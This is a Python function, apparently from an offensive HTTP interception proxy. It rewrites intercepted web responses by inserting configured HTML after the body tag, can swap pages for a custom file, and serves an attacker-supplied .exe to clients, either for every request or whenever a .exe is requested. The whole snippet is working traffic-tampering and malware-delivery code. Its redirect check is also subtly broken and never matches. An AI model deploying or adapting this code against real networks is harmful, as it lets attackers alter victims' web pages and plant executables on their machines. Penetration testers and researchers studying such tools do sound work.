Beispiel #1
0
def InjectData(data, client, req_uri):

    # Serve the .exe if needed
    if settings.Config.Serve_Always:
        return RespondWithFile(client, settings.Config.Exe_Filename,
                               settings.Config.Exe_DlName)

    # Serve the .exe if needed and client requested a .exe
    if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
        return RespondWithFile(client, settings.Config.Exe_Filename,
                               os.path.basename(req_uri))

    if len(data.split('\r\n\r\n')) > 1:
        try:
            Headers, Content = data.split('\r\n\r\n')
        except:
            return data

        RedirectCodes = [
            'HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303',
            'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'
        ]
        if set(RedirectCodes) & set(Headers):
            return data

        if "content-encoding: gzip" in Headers.lower():
            Content = zlib.decompress(Content, 16 + zlib.MAX_WBITS)

        if "content-type: text/html" in Headers.lower():
            if settings.Config.Serve_Html:  # Serve the custom HTML if needed
                return RespondWithFile(client, settings.Config.Html_Filename)

            Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*',
                                     Headers))
            HasBody = re.findall(r'(<body[^>]*>)', Content, re.IGNORECASE)

            if HasBody and len(settings.Config.HtmlToInject
                               ) > 2 and not req_uri.endswith('.js'):
                if settings.Config.Verbose:
                    print text("[PROXY] Injecting into HTTP Response: %s" %
                               color(settings.Config.HtmlToInject, 3, 1))

                Content = Content.replace(
                    HasBody[0],
                    '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))

        if "content-encoding: gzip" in Headers.lower():
            Content = zlib.compress(Content)

        Headers = Headers.replace("Content-Length: " + Len,
                                  "Content-Length: " + str(len(Content)))
        data = Headers + '\r\n\r\n' + Content
    else:
        if settings.Config.Verbose:
            print text("[PROXY] Returning unmodified HTTP response")
    return data